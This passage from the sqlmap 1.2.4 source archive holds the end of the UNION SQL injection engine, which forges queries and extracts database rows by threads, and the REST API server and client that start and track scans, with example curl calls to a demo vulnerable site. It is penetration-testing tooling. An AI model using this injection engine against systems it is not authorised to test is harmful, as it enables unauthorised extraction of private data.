DBMS is Microsoft SQL Server and error message is used as a result of UNION injection if Backend.isDbms(DBMS.MSSQL) and wasLastResponseDBMSError(): retVal = htmlunescape(retVal).replace("<br>", "\n") hashDBWrite("%s%s" % (conf.hexConvert or False, expression), retVal) elif not kb.rowXmlMode: trimmed = _("%s(?P<result>.*?)<" % (kb.chars.start)) if trimmed: warnMsg = "possible server trimmed output detected " warnMsg += "(probably due to its length and/or content): " warnMsg += safecharencode(trimmed) logger.warn(warnMsg) else: vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector kb.unionDuplicates = vector[7] return retVal def configUnion(char=None, columns=None): def _configUnionChar(char): if not isinstance(char, basestring): return kb.uChar = char if conf.uChar is not None: kb.uChar = char.replace("[CHAR]", conf.uChar if conf.uChar.isdigit() else "'%s'" % conf.uChar.strip("'")) def _configUnionCols(columns): if not isinstance(columns, basestring): return columns = columns.replace(" ", "") if "-" in columns: colsStart, colsStop = columns.split("-") else: colsStart, colsStop = columns, columns if not colsStart.isdigit() or not colsStop.isdigit(): raise SqlmapSyntaxException("--union-cols must be a range of integers") conf.uColsStart, conf.uColsStop = int(colsStart), int(colsStop) if conf.uColsStart > conf.uColsStop: errMsg = "--union-cols range has to be from lower to " errMsg += "higher number of columns" raise SqlmapSyntaxException(errMsg) _configUnionChar(char) _configUnionCols(conf.uCols or columns) def unionUse(expression, unpack=True, dump=False): """ This function tests for an UNION SQL injection on the target URL then call its subsidiary function to effectively perform an UNION SQL injection on the affected URL """ initTechnique(PAYLOAD.TECHNIQUE.UNION) abortedFlag = False count = None origExpr = expression startLimit = 0 stopLimit = None value = None width = getConsoleWidth() start = time.time() _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(origExpr) # Set kb.partRun in case the engine is called from the API kb.partRun = getPartRun(alias=False) if conf.api else None if Backend.isDbms(DBMS.MSSQL) and kb.dumpColumns: kb.rowXmlMode = True _ = "(%s FOR XML RAW, BINARY BASE64)" % expression output = _oneShotUnionUse(_, False) value = parseUnionPage(output) kb.rowXmlMode = False if expressionFieldsList and len(expressionFieldsList) > 1 and "ORDER BY" in expression.upper(): # Removed ORDER BY clause because UNION does not play well with it expression = re.sub(r"(?i)\s*ORDER BY\s+[\w,]+", "", expression) debugMsg = "stripping ORDER BY clause from statement because " debugMsg += "it does not play well with UNION query SQL injection" singleTimeDebugMessage(debugMsg) # We have to check if the SQL query might return multiple entries # if the technique is partial UNION query and in such case forge the # SQL limiting the query output one entry at a time # NOTE: we assume that only queries that get data from a table can # return multiple entries if value is None and (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or kb.forcePartialUnion or (dump and (conf.limitStart or conf.limitStop)) or "LIMIT " in expression.upper()) and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and not re.search(SQL_SCALAR_REGEX, expression, re.I): expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump) if limitCond: # Count the number of SQL query entries output countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % ('*' if len(expressionFieldsList) > 1 else expressionFields), 1) if " ORDER BY " in countedExpression.upper(): _ = countedExpression.upper().rindex(" ORDER BY ") countedExpression = countedExpression[:_] output = _oneShotUnionUse(countedExpression, unpack) count = unArrayizeValue(parseUnionPage(output)) if isNumPosStrValue(count): if isinstance(stopLimit, int) and stopLimit > 0: stopLimit = min(int(count), int(stopLimit)) else: stopLimit = int(count) infoMsg = "used SQL query returns " infoMsg += "%d entries" % stopLimit logger.info(infoMsg) elif count and (not isinstance(count, basestring) or not count.isdigit()): warnMsg = "it was not possible to count the number " warnMsg += "of entries for the SQL query provided. " warnMsg += "sqlmap will assume that it returns only " warnMsg += "one entry" logger.warn(warnMsg) stopLimit = 1 elif (not count or int(count) == 0): if not count: warnMsg = "the SQL query provided does not " warnMsg += "return any output" logger.warn(warnMsg) else: value = [] # for empty tables return value if isNumPosStrValue(count) and int(count) > 1: threadData = getCurrentThreadData() try: threadData.shared.limits = iter(xrange(startLimit, stopLimit)) except OverflowError: errMsg = "boundary limits (%d,%d) are too large. Please rerun " % (startLimit, stopLimit) errMsg += "with switch '--fresh-queries'" raise SqlmapDataException(errMsg) numThreads = min(conf.threads, (stopLimit - startLimit)) threadData.shared.value = BigArray() threadData.shared.buffered = [] threadData.shared.counter = 0 threadData.shared.lastFlushed = startLimit - 1 threadData.shared.showEta = conf.eta and (stopLimit - startLimit) > 1 if threadData.shared.showEta: threadData.shared.progress = ProgressBar(maxValue=(stopLimit - startLimit)) if stopLimit > TURN_OFF_RESUME_INFO_LIMIT: kb.suppressResumeInfo = True debugMsg = "suppressing possible resume console info because of " debugMsg += "large number of rows. It might take too long" logger.debug(debugMsg) try: def unionThread(): threadData = getCurrentThreadData() while kb.threadContinue: with kb.locks.limit: try: valueStart = time.time() threadData.shared.counter += 1 num = threadData.shared.limits.next() except StopIteration: break if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): field = expressionFieldsList[0] elif Backend.isDbms(DBMS.ORACLE): field = expressionFieldsList else: field = None limitedExpr = agent.limitQuery(num, expression, field) output = _oneShotUnionUse(limitedExpr, unpack, True) if not kb.threadContinue: break if output: with kb.locks.value: if all(_ in output for _ in (kb.chars.start, kb.chars.stop)): items = parseUnionPage(output) if threadData.shared.showEta: threadData.shared.progress.progress(time.time() - valueStart, threadData.shared.counter) if isListLike(items): # in case that we requested N columns and we get M!=N then we have to filter a bit if len(items) > 1 and len(expressionFieldsList) > 1: items = [item for item in items if isListLike(item) and len(item) == len(expressionFieldsList)] items = [_ for _ in flattenValue(items)] if len(items) > len(expressionFieldsList): filtered = OrderedDict() for item in items: key = re.sub(r"[^A-Za-z0-9]", "", item).lower() if key not in filtered or re.search(r"[^A-Za-z0-9]", item): filtered[key] = item items = filtered.values() items = [items] index = None for index in xrange(1 + len(threadData.shared.buffered)): if index < len(threadData.shared.buffered) and threadData.shared.buffered[index][0] >= num: break threadData.shared.buffered.insert(index or 0, (num, items)) else: index = None if threadData.shared.showEta: threadData.shared.progress.progress(time.time() - valueStart, threadData.shared.counter) for index in xrange(1 + len(threadData.shared.buffered)): if index < len(threadData.shared.buffered) and threadData.shared.buffered[index][0] >= num: break threadData.shared.buffered.insert(index or 0, (num, None)) items = output.replace(kb.chars.start, "").replace(kb.chars.stop, "").split(kb.chars.delimiter) while threadData.shared.buffered and (threadData.shared.lastFlushed + 1 >= threadData.shared.buffered[0][0] or len(threadData.shared.buffered) > MAX_BUFFERED_PARTIAL_UNION_LENGTH): threadData.shared.lastFlushed, _ = threadData.shared.buffered[0] if not isNoneValue(_): threadData.shared.value.extend(arrayizeValue(_)) del threadData.shared.buffered[0] if conf.verbose == 1 and not (threadData.resumed and kb.suppressResumeInfo) and not threadData.shared.showEta: _ = ','.join("\"%s\"" % _ for _ in flattenValue(arrayizeValue(items))) if not isinstance(items, basestring) else items status = "[%s] [INFO] %s: %s" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", _ if kb.safeCharEncode else safecharencode(_)) if len(status) > width: status = "%s..." % status[:width - 3] dataToStdout("%s\n" % status) runThreads(numThreads, unionThread) if conf.verbose == 1: clearConsoleLine(True) except KeyboardInterrupt: abortedFlag = True warnMsg = "user aborted during enumeration. sqlmap " warnMsg += "will display partial output" logger.warn(warnMsg) finally: for _ in sorted(threadData.shared.buffered): if not isNoneValue(_[1]): threadData.shared.value.extend(arrayizeValue(_[1])) value = threadData.shared.value kb.suppressResumeInfo = False if not value and not abortedFlag: output = _oneShotUnionUse(expression, unpack) value = parseUnionPage(output) duration = calculateDeltaSeconds(start) if not kb.bruteMode: debugMsg = "performed %d queries in %.2f seconds" % (kb.counters[PAYLOAD.TECHNIQUE.UNION], duration) logger.debug(debugMsg) return value �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/lib/utils/�����������������������������������������������������������������������������0000775�0000000�0000000�00000000000�13260122637�0014723�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/lib/utils/__init__.py������������������������������������������������������������������0000664�0000000�0000000�00000000222�13260122637�0017030�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ pass ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/lib/utils/api.py�����������������������������������������������������������������������0000664�0000000�0000000�00000075343�13260122637�0016062�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python # -*- coding: utf-8 -*- """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import contextlib import httplib import logging import os import re import shlex import socket import sqlite3 import sys import tempfile import time import urllib2 from lib.core.common import dataToStdout from lib.core.common import getSafeExString from lib.core.common import saveConfig from lib.core.common import unArrayizeValue from lib.core.convert import base64encode from lib.core.convert import hexencode from lib.core.convert import dejsonize from lib.core.convert import jsonize from lib.core.data import conf from lib.core.data import kb from lib.core.data import paths from lib.core.data import logger from lib.core.datatype import AttribDict from lib.core.defaults import _defaults from lib.core.enums import CONTENT_STATUS from lib.core.enums import MKSTEMP_PREFIX from lib.core.enums import PART_RUN_CONTENT_TYPES from lib.core.exception import SqlmapConnectionException from lib.core.log import LOGGER_HANDLER from lib.core.optiondict import optDict from lib.core.settings import RESTAPI_DEFAULT_ADAPTER from lib.core.settings import IS_WIN from lib.core.settings import RESTAPI_DEFAULT_ADDRESS from lib.core.settings import RESTAPI_DEFAULT_PORT from lib.core.subprocessng import Popen from lib.parse.cmdline import cmdLineParser from thirdparty.bottle.bottle import error as return_error from thirdparty.bottle.bottle import get from thirdparty.bottle.bottle import hook from thirdparty.bottle.bottle import post from thirdparty.bottle.bottle import request from thirdparty.bottle.bottle import response from thirdparty.bottle.bottle import run from thirdparty.bottle.bottle import server_names # Global data storage class DataStore(object): admin_id = "" current_db = None tasks = dict() username = None password = None # API objects class Database(object): filepath = None def __init__(self, database=None): self.database = self.filepath if database is None else database self.connection = None self.cursor = None def connect(self, who="server"): self.connection = sqlite3.connect(self.database, timeout=3, isolation_level=None, check_same_thread=False) self.cursor = self.connection.cursor() logger.debug("REST-JSON API %s connected to IPC database" % who) def disconnect(self): if self.cursor: self.cursor.close() if self.connection: self.connection.close() def commit(self): self.connection.commit() def execute(self, statement, arguments=None): while True: try: if arguments: self.cursor.execute(statement, arguments) else: self.cursor.execute(statement) except sqlite3.OperationalError, ex: if "locked" not in getSafeExString(ex): raise else: break if statement.lstrip().upper().startswith("SELECT"): return self.cursor.fetchall() def init(self): self.execute("CREATE TABLE logs(id INTEGER PRIMARY KEY AUTOINCREMENT, taskid INTEGER, time TEXT, level TEXT, message TEXT)") self.execute("CREATE TABLE data(id INTEGER PRIMARY KEY AUTOINCREMENT, taskid INTEGER, status INTEGER, content_type INTEGER, value TEXT)") self.execute("CREATE TABLE errors(id INTEGER PRIMARY KEY AUTOINCREMENT, taskid INTEGER, error TEXT)") class Task(object): def __init__(self, taskid, remote_addr): self.remote_addr = remote_addr self.process = None self.output_directory = None self.options = None self._original_options = None self.initialize_options(taskid) def initialize_options(self, taskid): datatype = {"boolean": False, "string": None, "integer": None, "float": None} self.options = AttribDict() for _ in optDict: for name, type_ in optDict[_].items(): type_ = unArrayizeValue(type_) self.options[name] = _defaults.get(name, datatype[type_]) # Let sqlmap engine knows it is getting called by the API, # the task ID and the file path of the IPC database self.options.api = True self.options.taskid = taskid self.options.database = Database.filepath # Enforce batch mode and disable coloring and ETA self.options.batch = True self.options.disableColoring = True self.options.eta = False self._original_options = AttribDict(self.options) def set_option(self, option, value): self.options[option] = value def get_option(self, option): return self.options[option] def get_options(self): return self.options def reset_options(self): self.options = AttribDict(self._original_options) def engine_start(self): handle, configFile = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.CONFIG, text=True) os.close(handle) saveConfig(self.options, configFile) if os.path.exists("sqlmap.py"): self.process = Popen(["python", "sqlmap.py", "--api", "-c", configFile], shell=False, close_fds=not IS_WIN) elif os.path.exists(os.path.join(os.getcwd(), "sqlmap.py")): self.process = Popen(["python", "sqlmap.py", "--api", "-c", configFile], shell=False, cwd=os.getcwd(), close_fds=not IS_WIN) else: self.process = Popen(["sqlmap", "--api", "-c", configFile], shell=False, close_fds=not IS_WIN) def engine_stop(self): if self.process: self.process.terminate() return self.process.wait() else: return None def engine_process(self): return self.process def engine_kill(self): if self.process: try: self.process.kill() return self.process.wait() except: pass return None def engine_get_id(self): if self.process: return self.process.pid else: return None def engine_get_returncode(self): if self.process: self.process.poll() return self.process.returncode else: return None def engine_has_terminated(self): return isinstance(self.engine_get_returncode(), int) # Wrapper functions for sqlmap engine class StdDbOut(object): def __init__(self, taskid, messagetype="stdout"): # Overwrite system standard output and standard error to write # to an IPC database self.messagetype = messagetype self.taskid = taskid if self.messagetype == "stdout": sys.stdout = self else: sys.stderr = self def write(self, value, status=CONTENT_STATUS.IN_PROGRESS, content_type=None): if self.messagetype == "stdout": if content_type is None: if kb.partRun is not None: content_type = PART_RUN_CONTENT_TYPES.get(kb.partRun) else: # Ignore all non-relevant messages return output = conf.databaseCursor.execute("SELECT id, status, value FROM data WHERE taskid = ? AND content_type = ?", (self.taskid, content_type)) # Delete partial output from IPC database if we have got a complete output if status == CONTENT_STATUS.COMPLETE: if len(output) > 0: for index in xrange(len(output)): conf.databaseCursor.execute("DELETE FROM data WHERE id = ?", (output[index][0],)) conf.databaseCursor.execute("INSERT INTO data VALUES(NULL, ?, ?, ?, ?)", (self.taskid, status, content_type, jsonize(value))) if kb.partRun: kb.partRun = None elif status == CONTENT_STATUS.IN_PROGRESS: if len(output) == 0: conf.databaseCursor.execute("INSERT INTO data VALUES(NULL, ?, ?, ?, ?)", (self.taskid, status, content_type, jsonize(value))) else: new_value = "%s%s" % (dejsonize(output[0][2]), value) conf.databaseCursor.execute("UPDATE data SET value = ? WHERE id = ?", (jsonize(new_value), output[0][0])) else: conf.databaseCursor.execute("INSERT INTO errors VALUES(NULL, ?, ?)", (self.taskid, str(value) if value else "")) def flush(self): pass def close(self): pass def seek(self): pass class LogRecorder(logging.StreamHandler): def emit(self, record): """ Record emitted events to IPC database for asynchronous I/O communication with the parent process """ conf.databaseCursor.execute("INSERT INTO logs VALUES(NULL, ?, ?, ?, ?)", (conf.taskid, time.strftime("%X"), record.levelname, record.msg % record.args if record.args else record.msg)) def setRestAPILog(): if conf.api: try: conf.databaseCursor = Database(conf.database) conf.databaseCursor.connect("client") except sqlite3.OperationalError, ex: raise SqlmapConnectionException("%s ('%s')" % (ex, conf.database)) # Set a logging handler that writes log messages to a IPC database logger.removeHandler(LOGGER_HANDLER) LOGGER_RECORDER = LogRecorder() logger.addHandler(LOGGER_RECORDER) # Generic functions def is_admin(taskid): return DataStore.admin_id == taskid @hook('before_request') def check_authentication(): if not any((DataStore.username, DataStore.password)): return authorization = request.headers.get("Authorization", "") match = re.search(r"(?i)\ABasic\s+([^\s]+)", authorization) if not match: request.environ["PATH_INFO"] = "/error/401" try: creds = match.group(1).decode("base64") except: request.environ["PATH_INFO"] = "/error/401" else: if creds.count(':') != 1: request.environ["PATH_INFO"] = "/error/401" else: username, password = creds.split(':') if username.strip() != (DataStore.username or "") or password.strip() != (DataStore.password or ""): request.environ["PATH_INFO"] = "/error/401" @hook("after_request") def security_headers(json_header=True): """ Set some headers across all HTTP responses """ response.headers["Server"] = "Server" response.headers["X-Content-Type-Options"] = "nosniff" response.headers["X-Frame-Options"] = "DENY" response.headers["X-XSS-Protection"] = "1; mode=block" response.headers["Pragma"] = "no-cache" response.headers["Cache-Control"] = "no-cache" response.headers["Expires"] = "0" if json_header: response.content_type = "application/json; charset=UTF-8" ############################## # HTTP Status Code functions # ############################## @return_error(401) # Access Denied def error401(error=None): security_headers(False) return "Access denied" @return_error(404) # Not Found def error404(error=None): security_headers(False) return "Nothing here" @return_error(405) # Method Not Allowed (e.g. when requesting a POST method via GET) def error405(error=None): security_headers(False) return "Method not allowed" @return_error(500) # Internal Server Error def error500(error=None): security_headers(False) return "Internal server error" ############# # Auxiliary # ############# @get('/error/401') def path_401(): response.status = 401 return response ############################# # Task management functions # ############################# # Users' methods @get("/task/new") def task_new(): """ Create new task ID """ taskid = hexencode(os.urandom(8)) remote_addr = request.remote_addr DataStore.tasks[taskid] = Task(taskid, remote_addr) logger.debug("Created new task: '%s'" % taskid) return jsonize({"success": True, "taskid": taskid}) @get("/task/<taskid>/delete") def task_delete(taskid): """ Delete own task ID """ if taskid in DataStore.tasks: DataStore.tasks.pop(taskid) logger.debug("[%s] Deleted task" % taskid) return jsonize({"success": True}) else: logger.warning("[%s] Invalid task ID provided to task_delete()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) ################### # Admin functions # ################### @get("/admin/<taskid>/list") def task_list(taskid=None): """ List task pull """ tasks = {} for key in DataStore.tasks: if is_admin(taskid) or DataStore.tasks[key].remote_addr == request.remote_addr: tasks[key] = dejsonize(scan_status(key))["status"] logger.debug("[%s] Listed task pool (%s)" % (taskid, "admin" if is_admin(taskid) else request.remote_addr)) return jsonize({"success": True, "tasks": tasks, "tasks_num": len(tasks)}) @get("/admin/<taskid>/flush") def task_flush(taskid): """ Flush task spool (delete all tasks) """ for key in list(DataStore.tasks): if is_admin(taskid) or DataStore.tasks[key].remote_addr == request.remote_addr: DataStore.tasks[key].engine_kill() del DataStore.tasks[key] logger.debug("[%s] Flushed task pool (%s)" % (taskid, "admin" if is_admin(taskid) else request.remote_addr)) return jsonize({"success": True}) ################################## # sqlmap core interact functions # ################################## # Handle task's options @get("/option/<taskid>/list") def option_list(taskid): """ List options for a certain task ID """ if taskid not in DataStore.tasks: logger.warning("[%s] Invalid task ID provided to option_list()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) logger.debug("[%s] Listed task options" % taskid) return jsonize({"success": True, "options": DataStore.tasks[taskid].get_options()}) @post("/option/<taskid>/get") def option_get(taskid): """ Get the value of an option (command line switch) for a certain task ID """ if taskid not in DataStore.tasks: logger.warning("[%s] Invalid task ID provided to option_get()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) option = request.json.get("option", "") if option in DataStore.tasks[taskid].options: logger.debug("[%s] Retrieved value for option %s" % (taskid, option)) return jsonize({"success": True, option: DataStore.tasks[taskid].get_option(option)}) else: logger.debug("[%s] Requested value for unknown option %s" % (taskid, option)) return jsonize({"success": False, "message": "Unknown option", option: "not set"}) @post("/option/<taskid>/set") def option_set(taskid): """ Set an option (command line switch) for a certain task ID """ if taskid not in DataStore.tasks: logger.warning("[%s] Invalid task ID provided to option_set()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) if request.json is None: logger.warning("[%s] Invalid JSON options provided to option_set()" % taskid) return jsonize({"success": False, "message": "Invalid JSON options"}) for option, value in request.json.items(): DataStore.tasks[taskid].set_option(option, value) logger.debug("[%s] Requested to set options" % taskid) return jsonize({"success": True}) # Handle scans @post("/scan/<taskid>/start") def scan_start(taskid): """ Launch a scan """ if taskid not in DataStore.tasks: logger.warning("[%s] Invalid task ID provided to scan_start()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) if request.json is None: logger.warning("[%s] Invalid JSON options provided to scan_start()" % taskid) return jsonize({"success": False, "message": "Invalid JSON options"}) # Initialize sqlmap engine's options with user's provided options, if any for option, value in request.json.items(): DataStore.tasks[taskid].set_option(option, value) # Launch sqlmap engine in a separate process DataStore.tasks[taskid].engine_start() logger.debug("[%s] Started scan" % taskid) return jsonize({"success": True, "engineid": DataStore.tasks[taskid].engine_get_id()}) @get("/scan/<taskid>/stop") def scan_stop(taskid): """ Stop a scan """ if (taskid not in DataStore.tasks or DataStore.tasks[taskid].engine_process() is None or DataStore.tasks[taskid].engine_has_terminated()): logger.warning("[%s] Invalid task ID provided to scan_stop()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) DataStore.tasks[taskid].engine_stop() logger.debug("[%s] Stopped scan" % taskid) return jsonize({"success": True}) @get("/scan/<taskid>/kill") def scan_kill(taskid): """ Kill a scan """ if (taskid not in DataStore.tasks or DataStore.tasks[taskid].engine_process() is None or DataStore.tasks[taskid].engine_has_terminated()): logger.warning("[%s] Invalid task ID provided to scan_kill()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) DataStore.tasks[taskid].engine_kill() logger.debug("[%s] Killed scan" % taskid) return jsonize({"success": True}) @get("/scan/<taskid>/status") def scan_status(taskid): """ Returns status of a scan """ if taskid not in DataStore.tasks: logger.warning("[%s] Invalid task ID provided to scan_status()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) if DataStore.tasks[taskid].engine_process() is None: status = "not running" else: status = "terminated" if DataStore.tasks[taskid].engine_has_terminated() is True else "running" logger.debug("[%s] Retrieved scan status" % taskid) return jsonize({ "success": True, "status": status, "returncode": DataStore.tasks[taskid].engine_get_returncode() }) @get("/scan/<taskid>/data") def scan_data(taskid): """ Retrieve the data of a scan """ json_data_message = list() json_errors_message = list() if taskid not in DataStore.tasks: logger.warning("[%s] Invalid task ID provided to scan_data()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) # Read all data from the IPC database for the taskid for status, content_type, value in DataStore.current_db.execute("SELECT status, content_type, value FROM data WHERE taskid = ? ORDER BY id ASC", (taskid,)): json_data_message.append({"status": status, "type": content_type, "value": dejsonize(value)}) # Read all error messages from the IPC database for error in DataStore.current_db.execute("SELECT error FROM errors WHERE taskid = ? ORDER BY id ASC", (taskid,)): json_errors_message.append(error) logger.debug("[%s] Retrieved scan data and error messages" % taskid) return jsonize({"success": True, "data": json_data_message, "error": json_errors_message}) # Functions to handle scans' logs @get("/scan/<taskid>/log/<start>/<end>") def scan_log_limited(taskid, start, end): """ Retrieve a subset of log messages """ json_log_messages = list() if taskid not in DataStore.tasks: logger.warning("[%s] Invalid task ID provided to scan_log_limited()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) if not start.isdigit() or not end.isdigit() or end < start: logger.warning("[%s] Invalid start or end value provided to scan_log_limited()" % taskid) return jsonize({"success": False, "message": "Invalid start or end value, must be digits"}) start = max(1, int(start)) end = max(1, int(end)) # Read a subset of log messages from the IPC database for time_, level, message in DataStore.current_db.execute("SELECT time, level, message FROM logs WHERE taskid = ? AND id >= ? AND id <= ? ORDER BY id ASC", (taskid, start, end)): json_log_messages.append({"time": time_, "level": level, "message": message}) logger.debug("[%s] Retrieved scan log messages subset" % taskid) return jsonize({"success": True, "log": json_log_messages}) @get("/scan/<taskid>/log") def scan_log(taskid): """ Retrieve the log messages """ json_log_messages = list() if taskid not in DataStore.tasks: logger.warning("[%s] Invalid task ID provided to scan_log()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) # Read all log messages from the IPC database for time_, level, message in DataStore.current_db.execute("SELECT time, level, message FROM logs WHERE taskid = ? ORDER BY id ASC", (taskid,)): json_log_messages.append({"time": time_, "level": level, "message": message}) logger.debug("[%s] Retrieved scan log messages" % taskid) return jsonize({"success": True, "log": json_log_messages}) # Function to handle files inside the output directory @get("/download/<taskid>/<target>/<filename:path>") def download(taskid, target, filename): """ Download a certain file from the file system """ if taskid not in DataStore.tasks: logger.warning("[%s] Invalid task ID provided to download()" % taskid) return jsonize({"success": False, "message": "Invalid task ID"}) path = os.path.abspath(os.path.join(paths.SQLMAP_OUTPUT_PATH, target, filename)) # Prevent file path traversal if not path.startswith(paths.SQLMAP_OUTPUT_PATH): logger.warning("[%s] Forbidden path (%s)" % (taskid, target)) return jsonize({"success": False, "message": "Forbidden path"}) if os.path.isfile(path): logger.debug("[%s] Retrieved content of file %s" % (taskid, target)) with open(path, 'rb') as inf: file_content = inf.read() return jsonize({"success": True, "file": base64encode(file_content)}) else: logger.warning("[%s] File does not exist %s" % (taskid, target)) return jsonize({"success": False, "message": "File does not exist"}) def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=RESTAPI_DEFAULT_ADAPTER, username=None, password=None): """ REST-JSON API server """ DataStore.admin_id = hexencode(os.urandom(16)) DataStore.username = username DataStore.password = password _, Database.filepath = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.IPC, text=False) os.close(_) if port == 0: # random with contextlib.closing(socket.socket(socket.AF_INET, socket.SOCK_STREAM)) as s: s.bind((host, 0)) port = s.getsockname()[1] logger.info("Running REST-JSON API server at '%s:%d'.." % (host, port)) logger.info("Admin ID: %s" % DataStore.admin_id) logger.debug("IPC database: '%s'" % Database.filepath) # Initialize IPC database DataStore.current_db = Database() DataStore.current_db.connect() DataStore.current_db.init() # Run RESTful API try: # Supported adapters: aiohttp, auto, bjoern, cgi, cherrypy, diesel, eventlet, fapws3, flup, gae, gevent, geventSocketIO, gunicorn, meinheld, paste, rocket, tornado, twisted, waitress, wsgiref # Reference: https://bottlepy.org/docs/dev/deployment.html || bottle.server_names if adapter == "gevent": from gevent import monkey monkey.patch_all() elif adapter == "eventlet": import eventlet eventlet.monkey_patch() logger.debug("Using adapter '%s' to run bottle" % adapter) run(host=host, port=port, quiet=True, debug=True, server=adapter) except socket.error, ex: if "already in use" in getSafeExString(ex): logger.error("Address already in use ('%s:%s')" % (host, port)) else: raise except ImportError: if adapter.lower() not in server_names: errMsg = "Adapter '%s' is unknown. " % adapter errMsg += "(Note: available adapters '%s')" % ', '.join(sorted(server_names.keys())) else: errMsg = "Server support for adapter '%s' is not installed on this system " % adapter errMsg += "(Note: you can try to install it with 'sudo apt-get install python-%s' or 'sudo pip install %s')" % (adapter, adapter) logger.critical(errMsg) def _client(url, options=None): logger.debug("Calling %s" % url) try: data = None if options is not None: data = jsonize(options) headers = {"Content-Type": "application/json"} if DataStore.username or DataStore.password: headers["Authorization"] = "Basic %s" % base64encode("%s:%s" % (DataStore.username or "", DataStore.password or "")) req = urllib2.Request(url, data, headers) response = urllib2.urlopen(req) text = response.read() except: if options: logger.error("Failed to load and parse %s" % url) raise return text def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=None, password=None): """ REST-JSON API client """ DataStore.username = username DataStore.password = password dbgMsg = "Example client access from command line:" dbgMsg += "\n\t$ taskid=$(curl http://%s:%d/task/new 2>1 | grep -o -I '[a-f0-9]\{16\}') && echo $taskid" % (host, port) dbgMsg += "\n\t$ curl -H \"Content-Type: application/json\" -X POST -d '{\"url\": \"http://testphp.vulnweb.com/artists.php?artist=1\"}' http://%s:%d/scan/$taskid/start" % (host, port) dbgMsg += "\n\t$ curl http://%s:%d/scan/$taskid/data" % (host, port) dbgMsg += "\n\t$ curl http://%s:%d/scan/$taskid/log" % (host, port) logger.debug(dbgMsg) addr = "http://%s:%d" % (host, port) logger.info("Starting REST-JSON API client to '%s'..." % addr) try: _client(addr) except Exception, ex: if not isinstance(ex, urllib2.HTTPError) or ex.code == httplib.UNAUTHORIZED: errMsg = "There has been a problem while connecting to the " errMsg += "REST-JSON API server at '%s' " % addr errMsg += "(%s)" % ex logger.critical(errMsg) return taskid = None logger.info("Type 'help' or '?' for list of available commands") while True: try: command = raw_input("api%s> " % (" (%s)" % taskid if taskid else "")).strip() command = re.sub(r"\A(\w+)", lambda match: match.group(1).lower(), command) except (EOFError, KeyboardInterrupt): print break if command in ("data", "log", "status", "stop", "kill"): if not taskid: logger.error("No task ID in use") continue raw = _client("%s/scan/%s/%s" % (addr, taskid, command)) res = dejsonize(raw) if not res["success"]: logger.error("Failed to execute command %s" % command) dataToStdout("%s\n" % raw) elif command.startswith("option"): if not taskid: logger.error("No task ID in use") continue try: command, option = command.split(" ") except ValueError: raw = _client("%s/option/%s/list" % (addr, taskid)) else: options = {"option": option} raw = _client("%s/option/%s/get" % (addr, taskid), options) res = dejsonize(raw) if not res["success"]: logger.error("Failed to execute command %s" % command) dataToStdout("%s\n" % raw) elif command.startswith("new"): if ' ' not in command: logger.error("Program arguments are missing") continue try: argv = ["sqlmap.py"] + shlex.split(command)[1:] except Exception, ex: logger.error("Error occurred while parsing arguments ('%s')" % ex) taskid = None continue try: cmdLineOptions = cmdLineParser(argv).__dict__ except: taskid = None continue for key in list(cmdLineOptions): if cmdLineOptions[key] is None: del cmdLineOptions[key] raw = _client("%s/task/new" % addr) res = dejsonize(raw) if not res["success"]: logger.error("Failed to create new task") continue taskid = res["taskid"] logger.info("New task ID is '%s'" % taskid) raw = _client("%s/scan/%s/start" % (addr, taskid), cmdLineOptions) res = dejsonize(raw) if not res["success"]: logger.error("Failed to start scan") continue logger.info("Scanning started") elif command.startswith("use"): taskid = (command.split()[1] if ' ' in command else "").strip("'\"") if not taskid: logger.error("Task ID is missing") taskid = None continue elif not re.search(r"\A[0-9a-fA-F]{16}\Z", taskid): logger.error("Invalid task ID '%s'" % taskid) taskid = None continue logger.info("Switching to task ID '%s' " % taskid) elif command in ("list", "flush"): raw = _client("%s/admin/%s/%s" % (addr, taskid or 0, command)) res = dejsonize(raw) if not res["success"]: logger.error("Failed to execute command %s" % command) elif command == "flush": taskid = None dataToStdout("%s\n" % raw) elif command in ("exit", "bye", "quit", 'q'): return elif command in ("help", "?"): msg = "help Show this help message\n" msg += "new ARGS Start a new 